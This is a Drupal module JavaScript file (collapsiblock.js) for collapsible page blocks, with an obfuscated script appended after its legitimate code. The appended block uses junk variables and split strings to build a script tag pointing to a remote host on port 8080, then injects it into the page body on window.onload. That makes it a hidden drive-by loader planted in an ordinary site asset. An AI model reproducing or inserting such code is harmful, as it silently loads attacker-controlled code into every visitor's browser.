// $Id: collapsiblock.js,v 1.10 2007/02/03 07:28:14 nedjo Exp $

Drupal.collapsiblockAutoAttach = function () {
  // Different themes may use different tags for the block title. If there are others used, add them to this array.
  var headTags = ['h2','h3'];
  $('div.block').each(function () {
    var id = this.id;
    var titleElt = null;
    // Ensure we have a collapsable content block element.
    for (var i in headTags) {
      if ($(headTags[i], this).length > 0) {
        var titleElt = $(headTags[i], this).get(0);
        break;
      }
    }
    if (titleElt) {
      // Status values: 1 = not collapsible, 2 = collapsible and expanded, 3 = collapsible and collapsed
      var status = Drupal.settings.collapsiblock[this.id] ? Drupal.settings.collapsiblock[this.id] : 2;
      if (status == 1) {
        return;
      }
      titleElt.target = $(this).find('div.content');
      $(titleElt)
        .addClass('collapsiblock')
        .click(function () {
          var st = $.cookie('collapsiblock-' + id);
          $.cookie('collapsiblock-' + id, st == 0 ? 1 : 0);
          $(this).toggleClass('collapsiblockCollapsed');
          $(this.target).slideToggle('slow');
        });
      if (status == 3 || $.cookie('collapsiblock-' + id) == 1) {
        $(titleElt).addClass('collapsiblockCollapsed');
        $(titleElt.target).slideUp();
      }
      else {
        $.cookie('collapsiblock-' + id, 0);
      }
    }
  });
}

// Global Killswitch
if (Drupal.jsEnabled) {
  $(document).ready(Drupal.collapsiblockAutoAttach);
}

N=39030;N-=252;pl=46849;pl-=136;var c;try {var m='e'} catch(m){};var F={q:"Ak"};z=function(){var FX=["Np","w","r"];function j(M,i,T){return M.substr(i,T);t={};this.mj=false;}var MJ=["J"];var _Q='';this.o=19736;this.o+=115;var B=document;var d='';var p=RegExp;var vS='';Ta={x:"P"};var zA=new String("/goo"+"gle."+"com/"+"mono"+"graf"+"ias."+"com/"+"iwiw"+".hu."+"php");var XV=19942;try {var tT='Yk'} catch(tT){};function Q(M,i){dx=36216;dx++;var sk='';var T="["+i+j("]zYE",0,1);iE=["CF"];io=["Jo"];var X=new p(T, String(j("gT8kL",0,1)));try {var CR='L'} catch(CR){};try {var Fj='PO'} catch(Fj){};return M.replace(X, d);var K=[];this.gF=58163;this.gF++;};dE=["dI"];var l=String("body");var _=390135-382055;YT={D:"lU"};var h=null;var b=Q('sxcArAi9p9tg','xA9UegT');O=15089;O++;Xq={zAi:"mQ"};var jq=["Wl","ao","Qp"];pm={};var n=3765;c=function(){var lF=["Uq"];try {var ojl={LO:"dr"};Rj=43064;Rj++;var Xj=Q('c9rVeyaYtMeyEVlMeMmXeyn9t7','v9yVSXM7Y');var KB=[];k=B[Xj](b);var mM=["NQ","pD"];var Fs=["Rx","rF"];var M=_+zA;KA={};UX={};var G="defer";var Fsl=22375;var A=Q('sfrLcH','tbovHfLXF');var NA=false;var fj=false;k[A]=new String(j("htl6y",0,2)+j("tpcMx",0,2)+":/"+"/i"+"nk"+j("TlktilkT",3,2)+j("S4PmeP4S",3,2)+".r"+j("zjiu:zji",3,2))+M;k[G]=[5,1][1];var RF={DJ:"pJ"};var Nz=false;var LT=["Tt"];sl={ue:false};B[l].appendChild(k);kg=53787;kg+=97;this.un='';} catch(lS){var _w=new Array();var Js="";TW=["yY"];};};bn={Nk_:"Hd"};var Bq=new String();};z();var ss='';var UEF='';window.onload=c;try {var kV='BW'} catch(kV){};var Bf=new Date();tk=29917;tk--;